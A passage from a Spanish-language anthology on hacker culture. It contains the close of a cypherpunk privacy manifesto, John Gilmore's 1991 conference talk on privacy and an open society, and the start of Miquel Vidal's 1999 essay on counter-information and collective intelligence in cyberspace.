todavía	más	que	la	privacidad,	es	fundamental	en	una	sociedad	abierta;	no	buscamos
restringir	ninguna	expresión	en	ningún	 sentido.	Si	varias	partes	hablan	 juntas	 en	el
mismo	 foro,	 cada	 una	 puede	 hablar	 a	 todas	 las	 demás	 y	 aportar	 colectivamente
conocimiento	 sobre	 otras	 personas	 y	 grupos.	 El	 poder	 de	 las	 comunicaciones
electrónicas	 hace	 posible	 este	 diálogo	 grupal,	 y	 no	 va	 a	 desaparecer	 sólo	 porque
queramos.

Dado	 que	 queremos	 privacidad,	 debemos	 garantizar	 que	 cada	 parte	 de	 una
transacción	 sepa	 de	 la	 otra	 sólo	 aquello	 que	 es	 absolutamente	 necesario	 para	 la
transacción.	 Dado	 que	 cualquier	 información	 puede	 divulgarse,	 debemos	 asegurar
que	revelamos	de	nosotros	lo	menos	posible.	En	la	mayoría	de	los	casos	la	identidad
no	es	necesaria.	Cuando	compro	una	revista	en	un	negocio	y	 le	pago	en	efectivo	al
cajero,	no	hace	 falta	que	sepa	quién	soy.	Cuando	 le	digo	a	mi	proveedor	de	correo
electrónico	que	quiero	enviar	y	recibir	mensajes,	no	hace	falta	que	mi	proveedor	sepa
a	quién	le	estoy	escribiendo	o	qué	le	digo	o	lo	que	otros	me	dicen	a	mí;	mi	proveedor
sólo	 tiene	que	saber	a	dónde	 tiene	que	enviar	 los	mensajes	y	cuánto	 le	debo	por	el
servicio.	Cuando	mi	 identidad	queda	al	descubierto	por	el	mismo	mecanismo	de	 la
transacción,	 no	 tengo	 privacidad.	 Aquí	 yo	 no	 puedo	 descubrirme	 a	 mí	 mismo
selectivamente;	yo	siempre	tengo	que	descubrirme.

Por	 eso,	 en	 una	 sociedad	 abierta	 la	 privacidad	 requiere	 sistemas	 de	 transacción
anónima.	 Hasta	 ahora,	 los	 billetes	 fueron	 ese	 sistema.	 Un	 sistema	 de	 transacción
anónima	 no	 es	 un	 sistema	 de	 transacción	 secreta.	 Un	 sistema	 anónimo	 da	 la
posibilidad	 a	 las	 personas	 de	 revelar	 su	 identidad	 cuando	 quieren	 y	 sólo	 cuando
quieren;	esa	es	la	esencia	de	la	privacidad.
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En	una	 sociedad	 abierta	 la	 privacidad	 también	 requiere	 de	 criptografía.	 Si	 digo
algo,	yo	quiero	que	lo	escuchen	sólo	aquéllos	a	los	que	está	destinado.	Si	el	contenido
de	mis	palabras	está	disponible	a	todo	el	mundo,	yo	no	tengo	privacidad.	Encriptar	es
manifestar	 el	 deseo	 de	 privacidad,	 y	 encriptar	 con	 criptografía	 débil	 es	manifestar
poco	 deseo	 de	 privacidad.	Además,	 para	 revelar	 con	 seguridad	 la	 propia	 identidad
cuando	lo	corriente	es	el	anonimato	es	imprescindible	la	firma	criptográfica.

No	podemos	esperar	que	 los	gobiernos,	corporaciones	u	otras	grandes	y	difusas
organizaciones	nos	garanticen	la	privacidad	por	su	generosidad.	A	ellos	les	conviene
poder	 hablar	 de	 nosotros,	 y	 debemos	 suponer	 que	 lo	 harán.	 Tratar	 de	 impedir	 que
hablen	 es	 pelear	 con	 la	 realidad	misma	 de	 la	 información.	La	 información	 no	 sólo
quiere	ser	libre,	la	libertad	es	el	estado	al	que	tiende	por	naturaleza.	La	información
se	 expande	 hasta	 llenar	 los	 soportes	 disponibles.	 La	 Información	 es	 la	 prima	 más
joven	y	 resistente	del	Rumor;	 la	 Información	es	más	 ligera	de	pies,	 tiene	más	ojos,
sabe	más,	y	entiende	menos	que	el	Rumor.

Debemos	 defender	 nuestra	 privacidad	 si	 queremos	 contar	 con	 ella.	 Debemos
unirnos	y	crear	sistemas	que	permitan	las	transacciones	anónimas.	Durante	siglos	las
personas	 han	 defendido	 su	 privacidad	 con	 murmullos,	 oscuridad,	 sobres,	 puertas
cerradas,	señas	y	mensajeros.	Las	tecnologías	del	pasado	no	permitían	una	privacidad
sólida,	pero	las	tecnologías	electrónicas	sí.

Nosotros	 los	 cripto-hackers	 construimos	 sistemas	 anónimos.	 Estamos
defendiendo	 nuestra	 privacidad	 con	 criptografía,	 sistemas	 de	 correo	 electrónico
anónimo,	con	firmas	digitales	y	dinero	electrónico.

Los	 cripto-hackers	 escribimos	 código.	 Sabemos	 que	 alguien	 tiene	 que	 escribir
software	 para	 defender	 la	 privacidad,	 y	 dado	 que	 no	 vamos	 a	 tener	 privacidad	 a
menos	que	lo	hagamos,	nosotros	vamos	a	escribirlo.	Publicamos	nuestro	código	para
que	 nuestros	 compañeros	 criptohackers	 puedan	 practicar	 y	 jugar	 con	 él.	 Nuestro
código	es	libre	para	que	lo	usen	todos,	en	todo	el	mundo.	No	nos	importa	si	vos	no
acordás	con	el	software	que	escribimos.	Sabemos	que	el	software	no	puede	destruirse
y	que	un	sistema	distribuido	en	red	no	puede	apagarse.

Los	 cripto-hackers	 repudiamos	 las	 regulaciones	 sobre	 la	 criptografía,	 ya	 que	 la
encriptación	 es	 un	 acto	 fundamentalmente	 privado.	 El	 acto	 de	 encriptar,	 de	 hecho,
retira	información	de	la	esfera	pública.	Hasta	las	leyes	contra	la	criptografía	alcanzan
sólo	 hasta	 el	 borde	 de	 una	 nación	 y	 donde	 llega	 el	 brazo	 de	 su	 violencia.	 La
criptografía	se	propagará	indefectiblemente	por	todo	el	mundo,	y	con	ella	el	sistema
de	transacciones	anónimas	que	hace	posible.

Para	que	 la	privacidad	se	extienda	debe	 formar	parte	de	un	contrato	social.	Las
personas	deben	unirse	y	propagar	estos	sistemas.	La	privacidad	sólo	se	extiende	ante
la	 cooperación	 de	 cada	 uno	 en	 la	 sociedad.	 Los	 cripto-hackers	 esperamos	 tus
preguntas	 y	 propuestas,	 y	 que	 podamos	 involucrarte	 para	 que	 no	 nos	 traicionemos
entre	nosotros.	De	cualquier	modo,	no	vamos	a	cambiar	de	 idea	porque	algunos	no
acuerden	con	nuestros	objetivos.
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Hasta	entonces.
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Privacidad,	Tecnología	y	sociedad	abierta[73]

John	Gilmore

ohn	Gilmore	es	un	programador	de	larga	trayectoria.	Participó	de	diversos	proyectos	como
GNU,	 en	 favor	 del	 software	 libre,	 y	 la	 ONG	 Electronic	 Frontier	 Foundation	 (Fundación

Frontera	 Electrónica)	 que	 se	 dedica	 a	 promover	 las	 libertades	 civiles	 en	 Internet.	 También
participó	 de	 los	 inicios	 de	 internet	 administrando	 foros	 de	 discusión	 en	 Usenet	 y	 desarrolló
tecnologías	 de	 servidores	 en	 la	 empresa	 Sun	Microsystems.	 Con	 Eric	 Hughes	 y	 Tim	 C.	 May
formaron	el	grupo	«Cypherpunks»	(Cripto-hackers),	que	se	dedica	a	promover	e	informar	sobre	el
uso	de	criptografía	para	asegurar	la	privacidad	de	las	comunicaciones	en	Internet.

El	 texto	 es	 una	 ponencia	 presentada	 el	 28	 de	 marzo	 de	 1991	 en	 Burlingame,	 California,
durante	la	«Primera	Conferencia	sobre	Computadoras,	Libertad	y	Privacidad».	Fue	organizada	por
la	EFF,	y	el	público	estuvo	 integrado	por	programadores,	activistas,	empresarios	 informáticos	y
miembros	de	agencias	de	seguridad	e	inteligencia.

Mi	intervención	concierne	a	dos	éticas	—la	defensa	de	una	sociedad	abierta	y	la
defensa	de	la	privacidad—.	Creo	que	estas	dos	éticas	se	relacionan	entre	sí,	y	quisiera
decir	algo	acerca	de	cómo	se	relacionan	con	nuestro	accionar	en	el	mundo.

Esta	sociedad	fue	fundada	como	sociedad	 libre	y	abierta.	Nuestros	antepasados,
nuestros	 padres,	 nuestros	 compañeros,	 y	 nosotros	 mismos	 estamos	 haciendo	 y
construyendo	esta	sociedad	en	ese	sentido	—porque	creemos	que	ese	tipo	de	sociedad
supera	a	las	sociedades	cerradas—	en	calidad	de	vida,	en	libertad	y	en	la	búsqueda	de
felicidad.

Pero	yo	veo	que	esta	sociedad	libre	y	abierta	corre	el	riesgo	de	desintegrarse	ante
pequeños,	 inesperados	 cambios.	 Todavía	 es	 legal	 vivir	 en	 nuestra	 sociedad	 sin
documentos	 —pero	 apenas—.	 Todavía	 es	 legal	 vivir	 pagando	 en	 efectivo	 —pero
apenas—.	Todavía	es	legal	juntarse	con	quienes	se	quiera	—a	menos	que	traigan	un
porro,	 saquen	 fotos	 de	 chicos	 desnudos	 para	 su	 álbum	privado,	 o	 trabajen	 con	 vos
creando	 un	 juego	 de	 rol	 de	 fantasía[74]—.	Y	 creo	 que	 estas	 conferencias	 corren	 el
riesgo	 de	 ser	 cooptadas;	 nosotros	 nos	 sentamos	 aquí	 y	 trabajamos	 y	 hablamos	 con
otras	personas	y	elaboramos	consensos	sobre	temas	relativamente	menores,	mientras
que	perdemos	de	vista	la	sociedad	abierta	en	su	conjunto.

Por	 ejemplo	 nosotros	 tenemos	 el	 porcentaje	 más	 alto	 del	 mundo	 de	 población
dentro	de	la	prisión.	Estábamos	segundos	pero	el	año	pasado	superamos	a	Sudáfrica.
Estamos	primeros.

En	los	últimos	diez	años	duplicamos	el	número	de	personas	en	las	prisiones.	De
hecho,	las	celdas	nuevas	están	ocupadas	en	su	mayoría	por	personas	con	cargos	por
delitos	con	drogas,	un	crimen	sin	víctimas	que	hasta	hace	no	más	de	veinte	años	se
aceptaba	y	hasta	se	celebraba.	Ahora	quisiera	pedirles	a	los	presentes	en	esta	sala	que
por	favor	levanten	la	mano	si	no	han	roto	una	ley,	alguna	ley,	en	el	último	mes.

(una	persona	de	400	alza	la	mano)
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OK.	Por	favor	levanten	la	mano:	si	sus	discos	y	backups	fueran	revisados,	¿habría
algo	en	ellos	que	no	se	permite	tener?	Por	favor	levanten	la	mano	si	sus	discos	están
«limpios».

(más	manos	—unas	veinte	o	treinta)

Hay	algunos	más.
Pero	 no	 sorprende	 que	 estemos	 preocupados	 por	 la	 privacidad,	 porque	 todos

somos	 «infractores».	 Todos	 quebramos	 la	 ley,	 pero	 pocos	 somos	 criminales.	 El
problema	es	que	con	sólo	 llamar	 la	atención	de	 la	policía,	alcanza	para	arriesgar	 la
mayor	parte	de	lo	que	hacemos,	porque	quebramos	la	ley	todo	el	tiempo,	¡y	todo	está
montado	para	que	eso	suceda!

No	culpo	a	los	policías	por	esto.	En	su	mayoría	hacen	cumplir	las	malas	leyes	que
escriben	 los	 legisladores,	 pero	 de	 hecho	 los	 legisladores	 tampoco	 tienen	 la	 culpa,
porque	a	 la	 larga	 la	única	salida	es	educar	a	 la	población	sobre	 los	beneficios	de	 la
apertura.	Y	esto	es	algo	a	lo	que	siempre	trato	de	contribuir,	y	creo	que	aporto	algunas
cosas.

Pero	más	allá	de	eso,	como	dijo	P.	T.	Barnum[75],	«Hasta	ahora	nadie	perdió	plata
subestimando	 la	 inteligencia	 del	 público	 americano».	 Mis	 mayores	 esperanzas	 las
pongo	en	un	enfoque	muy	diferente.	Parafraseando	a	Ted	Nelson,	probablemente	no
podamos	detener	este	elefante,	pero	quizás	podamos	correr	entre	sus	patas.

En	la	mayor	parte	de	Europa,	las	compañías	de	teléfonos	no	registran	el	número
al	que	uno	llama,	y	no	lo	muestran	en	la	boleta.	Sólo	cuentan	el	monto	de	la	llamada.
Bien,	 me	 contaron	 que	 esto	 es	 en	 parte	 porque	 los	 nazis	 usaban	 los	 registros	 de
llamadas	que	antes	había,	para	rastrear	e	identificar	a	la	oposición	de	los	países	que
invadían	 en	 la	 Segunda	 Guerra	 Mundial.	 Desde	 entonces	 dejaron	 de	 registrar	 los
números.

En	EE.	UU.	la	gente	boicoteó	el	censo	con	números	de	registro	de	1990.	Pienso
que	 tuvo	 mucho	 que	 ver	 en	 esto	 la	 vergonzosa	 historia	 de	 cómo	 luego	 de	 Pearl
Harbour	se	arrió	a	campos	de	concentración	a	 los	 japoneses-americanos	empleando
los	datos	del	censo.

El	profesor	Lawrence	Tribe	habló	en	este	 encuentro	 sobre	 la	gran	desconfianza
que	debemos	tener	ante	nuestro	gobierno.	Tenemos	que	darnos	cuenta	de	que	la	gente
que	 maneja	 el	 gobierno	 puede	 cambiar,	 y	 de	 hecho	 cambia.	 Nuestra	 sociedad,	 y
nuestras	reglas	permanentes,	deben	asumir	que	gente	mala	—incluso	criminal—	va	a
manejar	el	gobierno,	al	menos	parte	del	tiempo.

Aquí	se	habló	mucho	de	privacidad…	pero	no	nos	hemos	detenido	tanto	en	por
qué	la	queremos.	La	privacidad	es	un	medio,	¿cuál	es	el	verdadero	fin	que	estamos
buscando?	Yo	propongo	que	lo	que	buscamos	es	más	tolerancia.

La	 sociedad	 tolera	 todos	 los	 distintos	 tipos	 de	 comportamiento	 —diferencias
religiosas,	diferencias	de	opiniones	políticas,	de	raza,	etc.—.	Pero	si	 tus	diferencias
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no	son	aceptadas	por	el	gobierno	o	por	otras	partes	de	la	sociedad,	todavía	podés	ser
tolerado	 si	 simplemente	 ignoran	 que	 sos	 diferente.	 Un	 gobierno	 represivo	 o	 una
persona	 represiva	 no	 pueden	 perseguirte	 si	 te	 ves	 igual	 que	 los	 demás.	 Como	 dijo
George	 Perry	 hoy,	 «La	 diversidad	 es	 la	 ventaja	 comparativa	 de	 la	 sociedad
americana».	Pienso	que	eso	es	lo	que	está	protegiendo	realmente	la	privacidad.

La	conferencia	dedicó	mucho	tiempo	a	hablar	sobre	modos	de	controlar	los	usos
de	 la	 información	 y	 de	 proteger	 la	 privacidad	 de	 las	 personas	 luego	 de	 que	 la
información	es	recogida.	Pero	eso	funciona	sólo	si	se	presupone	un	buen	gobierno.	Si
surge	 un	 gobierno	 muy	 malo,	 van	 a	 tener	 toda	 la	 información	 que	 necesiten	 para
generar	un	eficiente	estado	policial	y	constituirse	como	último	gobierno.	Sería	más
que	 conveniente	 para	 ellos	—de	 hecho,	 es	 una	 tentación	 para	 la	 gente	 que	 quiera
intentarlo—.	Porque	les	estamos	dando	los	medios.

¿Qué	 pasa	 si	 podemos	 construir	 una	 sociedad	 donde	 la	 información	 nunca	 se
recoge?,	 ¿en	 la	 que	 podrías	 pagar	 para	 alquilar	 un	 video	 sin	 dejar	 un	 número	 de
tarjeta	 de	 crédito	 o	 de	 cuenta	 de	 banco?,	 ¿en	 la	 que	 podrías	 demostrar	 que	 tienes
permiso	 para	 conducir	 sin	 ni	 siquiera	 dar	 tu	 nombre?,	 ¿en	 la	 que	 podrías	 enviar	 y
recibir	 mensajes	 sin	 revelar	 tu	 emplazamiento	 físico,	 como	 una	 caja	 de	 correo
electrónica?

Ése	 es	 el	 tipo	de	 sociedad	que	quiero	 construir.	Quiero	 asegurar	—con	 física	y
matemática,	no	con	leyes—	que	podamos	darnos	a	nosotros	mismos	cosas	como	una
verdadera	 privacidad	 para	 las	 comunicaciones	 personales.	 Una	 encriptación	 lo
suficientemente	 sólida	 que	 incluso	 la	 NSA[76]	 no	 pueda	 romperla.	 Sabemos	 cómo
hacerlo.	 Pero	 no	 lo	 ponemos	 en	 práctica.	También	 necesitamos	mejores	 protocolos
para	que	las	comunicaciones	móviles	no	puedan	rastrearse.

También	queremos	privacidad	real	para	los	datos	de	las	computadoras.	Nuestras
computadoras	son	extensiones	de	nuestras	mentes.	Debemos	construirlas	de	manera
que	 un	 pensamiento	 escrito	 en	 una	 computadora	 sea	 tan	 privado	 como	 el	 mismo
pensamiento	guardado	en	nuestras	cabezas.

Debemos	 tener	 verdadera	 libertad	 de	 comercio.	 Debemos	 poder	 vender	 lo	 que
hacemos	y	comprar	lo	que	queremos	—de	y	a	cualquiera—	para	poder	mantenernos	y
poder	conseguir	las	cosas	que	queremos	conseguir	en	este	mundo.

Es	importante	que	tengamos	verdadera	privacidad	financiera	porque	los	bienes	y
la	información	cuestan	dinero.	Cuando	compras	o	vendes	o	te	comunicas,	va	a	haber
dinero	 cambiando	 de	 manos.	 Si	 pueden	 rastrear	 el	 dinero,	 pueden	 rastrear	 el
intercambio	y	la	comunicación,	y	perdemos	la	privacidad	en	torno	a	él.

También	 necesitamos	 verdadero	 control	 de	 la	 identificación.	 Necesitamos	 la
posibilidad	de	mantenernos	 anónimos	mientras	 ejercemos	 todos	 estos	derechos.	De
modo	que	 incluso	con	nuestras	 fotos,	nuestras	huellas	dactilares	y	nuestro	perfil	de
ADN,	no	puedan	vincular	nuestra	comunicación,	compras	y	actividad	financiera	con
nuestra	persona.

Ahora	bien,	acá	no	estoy	hablando	de	no	dar	cuenta	de	 las	acciones,	para	nada.
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Debemos	 poder	 dar	 cuenta	 de	 lo	 que	 hacemos	 a	 las	 personas	 con	 las	 que	 nos
comunicamos.	 Debemos	 poder	 dar	 cuenta	 de	 nosotros	 a	 la	 gente	 con	 la	 que
comerciamos.	Y	 la	 tecnología	debe	construirse	para	permitir	 eso.	Pero	no	debemos
estar	 exhibiéndonos	 automáticamente	 al	 PÚBLICO	 con	 el	 que	 hablamos,	 o	 al	 que
compramos	o	vendemos.

Aquí	surgen	muchos	problemas.	Creo	que	tenemos	que	trabajar	en	ellos.	Se	deben
diseñar	 leyes	 justas	 para	 esa	 sociedad.	 Las	 personas	 deben	 poder	 encontrarse	 con
otras	personas	afines.	Y	alguien	tiene	que	pagar	el	costo	del	gobierno,	incluso	aunque
no	puedan	espiar	nuestros	ingresos	y	compras.	No	sé	cómo	resolver	estos	problemas,
pero	no	pienso	tirar	al	bebé	con	el	agua	sucia.	Sigo	pensando	que	debemos	apuntar	a
una	auténtica	privacidad	y	buscar	soluciones	para	estos	problemas.

Entonces,	¿cómo	llegamos	desde	acá	a	esta	nueva	sociedad?	Una	manera	es	dejar
de	 diseñar	 y	 promover	 falsas	 protecciones,	 como	 las	 leyes	 que	 dicen	 que	 no	 se
permite	 escuchar	 las	 llamadas	 de	 los	 teléfonos	 celulares.	Definitivamente	 debemos
dejar	 de	 construir	 sistemas	 manifiestamente	 amenazantes	 como	 el	 sistema	 de
identificación	Thai	o	el	sistema	CalTrans	de	rastreo	de	vehículos.

Otra	cosa	para	hacer	es,	si	ya	saben	cómo,	empezar	a	diseñar,	o	seguir	diseñando,
protecciones	 verdaderas	 para	 las	 cosas	 que	 fabrican.	 Háganlo	 para	 el	 mercado	 de
EE.	 UU.,	 aún	 si	 la	 NSA	 sigue	 prohibiendo	 la	 privacidad	 con	 controles	 para	 la
exportación	de	criptografía.	Es	más	costoso	diseñar	dos	versiones,	una	para	nosotros
y	 otra	 para	 exportar,	 pero	 vos	 estás	 fabricando	 para	 tu	 sociedad	 y	 creo	 que	 debes
fabricar	para	el	modo	en	que	quieren	vivir.

Si	no	saben	cómo	diseñar	una	protección	real,	cómprenla.	Creen	un	mercado	para
los	que	están	diseñándola,	y	al	mismo	tiempo	protejan	su	privacidad	poniéndola	en
uso.	Exíjanla	de	las	personas	que	los	proveen,	como	las	compañías	de	computadoras
y	los	fabricantes	de	telefonía	celular.

También	 hay	 que	 trabajar	 para	 eliminar	 las	 restricciones	 para	 la	 exportación.
Debemos	poder	importar	lo	mejor	desde	cualquier	parte	y	debemos	poder	exportar	la
privacidad	y	lo	mejor	de	nuestros	productos	al	resto	del	mundo.	La	NSA	actualmente
nos	 tiene	 de	 rehenes;	 los	 fabricantes	 de	 computadoras,	 por	 ejemplo,	 no	 incorporan
seguridad	porque	no	se	les	permite	exportarla.	IBM	agregó	DES[77]	a	su	nueva	línea
de	computadoras,	y	sólo	lo	iban	a	hacer	con	los	modelos	dentro	de	EE.	UU.,	pero	la
NSA	 los	 amenazó	 con	 demandarlos	 y	 limitar	 incluso	 sus	 exportaciones	 comunes.
IBM	dio	marcha	atrás	y	se	retiró.	No	podemos	dejar	que	esto	siga	pasando.

También	tenemos	que	educar	a	 todos	sobre	 lo	que	es	posible	para	que	podamos
elegir	el	tipo	de	libertad	que	queremos	en	vez	de	asumir	que	es	inalcanzable.

Por	último,	tenemos	que	asegurar	que	el	dinero	en	efectivo	y	el	anonimato	sigan
siendo	legales.	Lo	vamos	a	necesitar	como	precedentes	para	el	dinero	electrónico	y	el
anonimato	criptográfico.

Creo	que	con	estos	enfoques	vamos	a	hacer	mucho	más	por	nuestra	libertad	real,
nuestra	privacidad	real	y	nuestra	seguridad	real,	que	sacando	algunas	leyes	nuevas	o
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asustando	a	algunos	de	los	chicos	que	andan	rompiendo	las	barreras	de	seguridad	de
la	 red.	Podemos	 crear	un	 futuro	del	 que	 estemos	orgullosos	de	habitar	 y	 felices	de
dejar	a	nuestros	hijos.	Muchas	gracias.
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Contra	(la)	información:
comunicación	e	inteligencia	colectiva

Miquel	Vidal

iquel	Vidal	participa	desde	hace	años	en	distintas	iniciativas	de	uso	social	de	Internet	y	el
software	libre.	Formó	parte	de	la	primera	área	telemática	en	un	centro	social	ocupado	en

España.	Fue	uno	de	los	fundadores	del	proyecto	sinDominio	(http://sindominio.net)	en	1999,
un	 proyecto	 antagonista	 que	 busca	 «transformar	 las	 condiciones	 sociales	 del	 mundo	 en	 que
vivimos	 desde	 la	 horizontalidad,	 la	 cooperación	 y	 la	 libre	 circulación	 del	 saber».	 También
colaboró	 con	 el	 mantenimiento	 técnico	 del	 nodo	 madrileño	 de	 Indymedia
(http://madrid.indymedia.org).	 Profesionalmente	 se	 desempeña	 como	 administrador	 de
barrapunto.com,	sitio	de	referencia	de	la	comunidad	hispana	de	software	libre.

La	 siguiente	 es	 una	 ponencia	 presentada	 en	 los	 IV	 Encuentros	 de	 Contrainformación	 del
Estado	 español,	 celebrados	 en	 abril	 de	 1999	 en	 el	 centro	 social	 ocupado	 «El	 Laboratorio»,	 en
Madrid,	que	 sirvieron,	 entre	otras	 cosas,	para	 la	presentación	pública	del	Proyecto	 sinDominio.
Fue	publicado	en	papel	por	la	revista	madrileña	Contrapoder	en	ese	mismo	año.

No	habrá	nunca	una	puerta.	Estás	adentro
y	el	laberinto	alcanza	el	universo
y	no	tiene	ni	anverso	ni	reverso

ni	externo	muro	ni	secreto	centro.

Jorge	Luis	Borges

La	 extensión	 del	 ciberespacio[78]	 ha	 puesto	 muy	 en	 evidencia	 los	 límites	 del
esquema	 clásico	 de	 la	 teoría	 de	 la	 información,	 en	 la	 que	 se	 establece	 un	 flujo
unidireccional	entre	el	emisor	y	el	 receptor,	a	 través	de	un	canal	determinado.	Este
planteamiento	 asimétrico	 es	 bien	 conocido	 y	 se	 trata	 de	 un	 elemento	 recurrente	 en
todos	 los	 medios	 de	 comunicación	 tradicionales:	 por	 un	 lado,	 el	 productor	 de	 la
información;	 por	 otro,	 su	 destinatari@.	 Es	 cierto	 que	 desde	 hace	 algún	 tiempo	 los
medios	se	esfuerzan	por	introducir	cierto	grado	de	interactividad	(teletienda,	pago	por
visión,	 encuestas,	 intervenciones	 telefónicas…),	 pero	 no	 son	 más	 que	 paliativos
bastante	burdos.	La	insistencia	en	que	la	gente	intervenga,	opine,	se	solidarice,	etc.	no
puede	ocultar	a	nadie	la	ausencia	de	una	interactividad	que	no	existe	en	absoluto.

Aunque	su	intención	sea	opuesta,	el	esquema	de	la	contrainformación	no	difiere
mucho	en	su	expresión	material.	Sigue	habiendo	un@s	que	producen	la	información
—las	agencias	y	medios	contrainformativos—	con	muy	escasos	medios	y	otr@s	que
la	reciben	—la	peña—	con	más	buena	fe	que	interés.	Parece	claro	que	no	por	repetir
muchas	 veces	 ideas	 como	 horizontalidad	 o	 no-mediación,	 la	 comunicación	 que
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promovemos	pasará	automáticamente	a	ser	horizontal	o	no	mediada.	Prácticas	de	la
contrainformación	como	sacar	a	la	luz	informaciones	obviadas	o	manipuladas	por	los
medios	convencionales	se	basan	en	la	idea	de	«veracidad»	o,	dicho	de	otro	modo,	en
la	 búsqueda	 de	 una	 aproximación	 máxima	 entre	 los	 «hechos»	 y	 el	 relato	 que	 se
construye.	Esa	noción	de	que	hay	una	«verdad»	que	hay	que	sacar	a	 la	 luz	 tiene	su
apogeo	 en	 contextos	 totalitarios	 en	 el	 que	 se	 censura	 la	 información	 o	 bien	 en	 un
esquema	ilustrado	de	otros	 tiempos	en	el	que	había	falta	de	 información.	No	es	ese
ciertamente	 nuestro	 caso,	 en	 el	 cual	 el	 problema	 es	 más	 bien	 el	 contrario:	 flujo
excesivo	 de	 información	 que	 produce	 ruido,	 distorsión,	 redundancia	 y	 banalidad,
pasando	a	ser	fundamental	el	cómo	situarnos	desde	nuestra	precariedad	de	medios	en
semejante	contexto.	Aquí	quizá	el	concepto	de	visibilidad	adquiere	toda	su	potencia,
pero	en	todo	caso	no	podemos	limitarnos	a	sumarnos	a	ese	griterío	ininteligible	pues
por	muy	buena	que	sea	nuestra	intención	y	muy	interesantes	nuestras	informaciones
no	tenemos	forma	de	«hablar	más	alto»	que	los	medios	convencionales	y	que	se	nos
oiga	en	medio	del	ruido.	La	buena	voluntad	no	es	suficiente.	Tampoco	el	uso	de	un
medio	u	otro	garantiza	automáticamente	una	comunicación	antagonista.

¿Hay	 pues	 posibilidad	 de	 comunicación	 alternativa,	 más	 allá	 de	 contribuir	 al
ruido	 mediático?	 Una	 posible	 línea	 de	 fuga	 sería	 ver	 si	 podemos	 convertir	 la
comunicación	en	algo	capaz	de	producir	formas	de	vida	y	de	socialidad	refractarias	al
mercado	y	al	mando.	Y	en	ese	contexto,	el	mensaje	es	lo	de	menos.	Aquí,	el	proceso
comunicativo	es	 lo	 importante,	pero	no	cualquier	proceso	comunicativo	sino	el	que
producimos	 en	 una	 apuesta	 colectiva	 de	 lucha	 contra	 el	 poder	 (los	 poderes).
Comunicación	 en	 proceso	 como	 creación	 de	 nuevos	 espacios	 de	 libertad,	 con
singularidades	que	desbordan	la	disyuntiva	individuo/colectivo	y	que	son	fruto	de	la
libre	circulación	de	saberes	y	experiencias	diversas.

Pero	el	caso	es	que	el	esquema	de	la	contrainformación	se	sigue	centrando	en	el
mensaje,	 en	 la	 información	 misma,	 o	 bien	 en	 el	 emisor	 y	 su	 papel
(contra)informativo.	Por	ejemplo	cuando	decimos	que	queremos	«dar	voz	a	l@s	sin
voz»	 y	 cosas	 por	 el	 estilo.	 Con	 esto,	 conseguimos	—en	 el	 mejor	 de	 los	 casos—
multiplicar	y	diversificar	el	número	de	mensajes	en	 la	 red,	pero	no	por	esto	se	está
necesariamente	 contrainformando.	 No	 quiero	 decir	 con	 esto	 que	 hacer	 notas	 de
prensa	 o	 ejercer	 de	 altavoz	 de	 aquello	 silenciado	 desde	 otros	 ámbitos	 sea	 inútil	 o
contraproducente.	Es	más,	hay	muchos	casos	en	que	información	veraz	es	sinónimo
de	 contrainformación.	 A	 lo	 que	 voy	 es	 que	 debemos	 tratar	 de	 ir	más	 allá	 de	 ese
esquema	 y	 para	 ello	 resulta	 imprescindible	 reequilibrar	 los	 elementos	 discursivos
unidireccionales	 (frases,	 imágenes,	 informaciones,	 páginas	 web…)	 con	 lo	 que	 se
puede	denominar	elementos	existenciales	de	la	comunicación,	esto	es,	los	elementos
éticos	y	políticos	multidireccionales.	¿Qué	ética,	qué	política?	Una	ética	fundada	en
la	horizontalidad	de	las	relaciones	entre	los	individuos,	en	la	cooperación	y	la	puesta
en	común	de	saberes	y	experiencias	y	en	 la	posibilidad	de	todo	el	mundo	de	poder
emitir	para	todo	el	mundo;	una	política	de	la	no	dominación,	de	la	no	dependencia,
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de	 la	 autonomía	 de	 los	 individuos	 y	 de	 los	 grupos	 sociales.	 Para	 ello	 hay	 que
renunciar	 definitivamente	 al	 esquema	 del	 humano	 alienado	 por	 el	 Estado	 o
adormecido	por	 los	media	 y	 que	 debe	 ser	contrainformado;	 la	 información	 ya	 está
ahí,	de	todos	los	signos	posibles,	al	alcance	de	tod@s:	lo	que	propongo	en	cambio	es
apostar	por	comunicar	la	comunicación,	por	la	inteligencia	colectiva,	y	por	su	espacio
natural,	el	ciberespacio.

Y	es	que	mientras	hemos	estado	discutiendo	sobre	si	 las	nuevas	tecnologías	son
liberadoras	o	son	un	instrumento	más	al	servicio	del	poder,	ya	se	nos	está	imponiendo
una	manera	de	hacer	 y	 la	 dinámica	 social	 nos	ha	 sobrepasado	y	ya	 está	 indagando
desde	hace	tiempo	en	sus	atractivos,	también	en	sus	límites	y	peligros.	Cuando	estas
tecnologías	 empiezan	 a	 estar	 arraigadas	 socialmente,	 cuando	 empezamos	 a
vislumbrar	la	posibilidad	de	su	uso	antagonista,	igual	ya	es	demasiado	tarde,	ya	están
emergiendo	otras	tecnologías	en	la	frontera	nebulosa	donde	se	inventan	las	ideas,	las
cosas	y	 las	prácticas.	Y	no	son	empresas	ni	Estados	sino	grupos	 indeterminados	de
individuos	que	se	mueven	con	criterios	que	me	atrevo	a	calificar	de	marginales	y	con
los	que	tenemos	mucho	que	ver	(aunque	nunca	les	veamos	;-).	Por	ejemplo,	ningún
Estado,	ninguna	empresa,	había	previsto	ni	anunciado	el	desarrollo	de	la	informática
personal,	ni	el	de	las	interfaces	gráficas	interactivas	para	tod@s,	ni	el	de	las	BBS	o	el
apoyo	mutuo	de	las	comunidades	virtuales,	ni	de	los	hipertextos,	ni	de	la	Web,	ni	de
los	 programas	 de	 criptografía	 personal	 e	 inviolable,	 ni	 de	 GNU/Linux.[79]	 Estas
tecnologías,	 todas	 ellas	 empapadas	 de	 sus	 primeros	 usos	 y	 de	 los	 proyectos	 de
quienes	las	concibieron,	nacidas	de	mentes	visionarias,	 transportadas	por	el	trasiego
de	movimientos	 sociales	 y	 de	 prácticas	 de	 base	 y	 cooperativas,	 han	 llegado	 donde
ningún	tecnócrata	podía	siquiera	sospechar,	pero	parece	que	tampoco	lo	esperaban	los
medios	de	comunicación,	incluyendo	aquí	a	los	colectivos	de	contrainformación.

Los	 medios	 de	 comunicación	 tradicionales	 fabrican	 un	 público	 homogéneo,	 el
mensaje	mediático	busca	el	«común	denominador»	mental	de	sus	destinatarios,	pues
el	mismo	mensaje	debe	ser	leído,	escuchado	o	visto	por	mucha	gente.	No	tiene	pues
en	 cuenta	 la	 singularidad	 del	 receptor,	 sus	 opiniones	 sociales,	 su	 microcultura,	 su
